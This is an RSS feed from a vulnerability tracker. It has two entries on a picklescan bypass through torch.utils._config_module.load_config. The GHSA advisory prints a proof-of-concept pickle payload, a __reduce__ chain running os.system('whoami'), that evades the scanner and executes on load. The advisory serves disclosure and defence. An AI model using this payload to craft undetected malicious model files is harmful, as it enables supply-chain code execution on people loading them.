<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 08:36:16 +0000</lastBuildDate>
    <item>
      <title>CVE-2025-71348 — picklescan - Arbitrary Code Execution via torch.utils._config_module.load_config Bypass</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2025-71348</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; picklescan&lt;/p&gt;
&lt;p&gt;picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; picklescan&lt;/p&gt;
&lt;p&gt;picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2025-71348</guid>
    </item>
    <item>
      <title>GHSA-vv6j-3g6g-2pvj — Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-vv6j-3g6g-2pvj</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The attack payload executes in the following steps:&lt;/p&gt;
&lt;p&gt;First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```
import pickle
from torch.utils._config_module import ConfigModule&lt;/p&gt;
&lt;p&gt;class Evil:
    def __reduce__(self):
        return (os.system, (&amp;#39;whoami&amp;#39;,))&lt;/p&gt;
&lt;p&gt;class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.&lt;/p&gt;
&lt;p&gt;### Corresponding&lt;/p&gt;
&lt;p&gt;https://github.com/FredericDT
https://github.com/Qhaoduoyu&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: picklescan&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;The attack payload executes in the following steps:&lt;/p&gt;
&lt;p&gt;First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.&lt;/p&gt;
&lt;p&gt;### PoC&lt;/p&gt;
&lt;p&gt;```
import pickle
from torch.utils._config_module import ConfigModule&lt;/p&gt;
&lt;p&gt;class Evil:
    def __reduce__(self):
        return (os.system, (&amp;#39;whoami&amp;#39;,))&lt;/p&gt;
&lt;p&gt;class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)
```&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.&lt;/p&gt;
&lt;p&gt;### Corresponding&lt;/p&gt;
&lt;p&gt;https://github.com/FredericDT
https://github.com/Qhaoduoyu&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-vv6j-3g6g-2pvj</guid>
    </item>
  </channel>
</rss>
